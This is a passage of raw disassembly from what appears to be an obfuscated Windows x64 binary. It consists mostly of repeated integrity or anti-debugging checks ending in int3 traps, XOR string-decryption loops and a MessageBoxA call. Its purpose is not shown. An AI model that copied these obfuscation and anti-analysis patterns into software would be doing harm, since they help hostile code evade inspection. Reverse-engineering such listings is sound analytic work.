xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400526b9
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400526b9
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400526d9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121bb0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x140121cb0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x2ad63add
mov dword [rbp + 0xbec], 0x4b335348
mov dword [rbp + 0xbf0], 0x6d2a39a3
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400606f0
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14005272c
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140014108
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
jne 0x14005283d
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005281d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005281d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005283d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400528e7
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400528c7
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400528c7
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400528e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
lea rcx, [rbp + 0x9f8]
call fcn.140050d4c
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140014218
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14006180c
lea rcx, [rbp + 0x9f8]
call fcn.140061748
lea rcx, [rbp + 0x9f8]
call fcn.140014728
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400529df
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400529bf
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400529bf
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400529df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140052a89
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052a69
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052a69
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140052a89
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov dword [rbp - 0x68], 0xf18a35a4
mov word [rbp - 0x64], 0xe7af
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs rsi, 0x110800a91
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140060678
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x140052aa8
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xf18a27bd
mov word [rbp - 0x54], 0xe7af
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs rsi, 0xe742c5c04d18e104
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140060678
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x140052b00
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140061a7c
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140061454
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.1400615a8
lea rcx, [rbp - 0x68]
call fcn.140014270
mov rcx, rax
call fcn.140014218
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140061294
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.1400615a8
lea rdx, [0x1401484a0]
lea rcx, [rbp + 0xa78]
call fcn.140061454
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.1400615a8
lea rcx, [rbp + 0xa78]
call fcn.140061748
lea rcx, [rbp + 0xa78]
call fcn.140014728
lea rcx, [rbp + 0xa58]
call fcn.140061748
lea rcx, [rbp + 0xa58]
call fcn.140014728
lea rcx, [rbp + 0xa38]
call fcn.140061748
lea rcx, [rbp + 0xa38]
call fcn.140014728
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
jne 0x140052cb1
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052c91
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052c91
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140052cb1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140052d5b
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052d3b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052d3b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140052d5b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
lea rcx, [rbp + 0x1208]
call fcn.1400610bc
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400c74e0
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140052e1f
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052dff
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052dff
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140052e1f
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140052edc
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052ebc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052ebc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140052edc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.1400141c0
lea rcx, [rbp + 0x10e8]
call fcn.1400617e4
nop
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140052fa3
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140052f83
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140052f83
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140052fa3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x14005304d
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005302d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005302d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005304d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
lea rcx, [rbp + 0x11e8]
call fcn.1400610bc
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.1400508b4
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x14005312b
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005310b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005310b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005312b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov dword [rbp + 0x1e0], 0xd67605fe
mov dword [rbp + 0x1e4], 0x55291597
mov dword [rbp + 0x1e8], 0xf4bcf93f
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rbx, 0x110800a91
mov qword [rsp + 0x20], rbx
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140060600
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14005315e
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140061d98
test al, al
je 0x14005371b
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x14005325e
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005323e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005323e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005325e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121dd0]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xaf76fe5e
mov word [rbp + 0x7cc], 0x432c
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140060514
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14005328c
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x140121ea0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x140121ca0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x140121d90]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x140121c80]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x140121c40]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x140121ba0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x140121ec0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x140121c10]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x642adabb
mov word [rbp + 0xde4], 0xfaf8
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
movabs r14, 0x110800a91
mov qword [rsp + 0x20], r14
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140060588
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x140053374
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[0x2b]
cmp rax, r12
mov r14d, 0xe04aa78f
jne 0x140053479
mov rcx, qword gs:[0x26]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x26]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x26]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053459
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053459
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053479
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053523
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053503
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053503
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053523
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
cmp edx, r13d
je 0x140060287
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400535d6
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400535b6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400535b6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400535d6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121de0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x140121d40]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x140121b40]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs rbx, 0x110800a91
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.1400604a0
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140053613
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400caa0c
mov rax, qword gs:[0x2b]
mov edi, 0x550d840
cmp rax, r12
jne 0x140053720
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400536fb
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400536fb
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053720
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov edi, 0x550d840
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400537ca
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400537aa
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400537aa
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400537ca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140061604
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140050e94
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400614e0
lea rcx, [rbp + 0xab8]
call fcn.140061748
lea rcx, [rbp + 0xab8]
call fcn.140014728
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400538bd
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005389d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005389d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400538bd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053967
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053947
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053947
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053967
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.1400617b8
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053a32
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053a12
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053a12
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053a32
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053adc
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053abc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053abc
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053adc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400cae7c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053b99
mov rcx, qword gs:[0x26]
xor rcx, r14
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x26]
xor rcx, r14
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x26]
xor rcx, r14
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053b79
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053b79
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053b99
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053c56
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053c36
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053c36
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053c56
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x2b]
movabs rbx, 0xe742c5c04d18e104
cmp rax, r12
jne 0x140053d11
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053cf1
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053cf1
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053d11
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
test rsi, rsi
je 0x14005ff75
cmp qword [rbp + 0x10f8], r15
je 0x14005ff75
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053de4
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
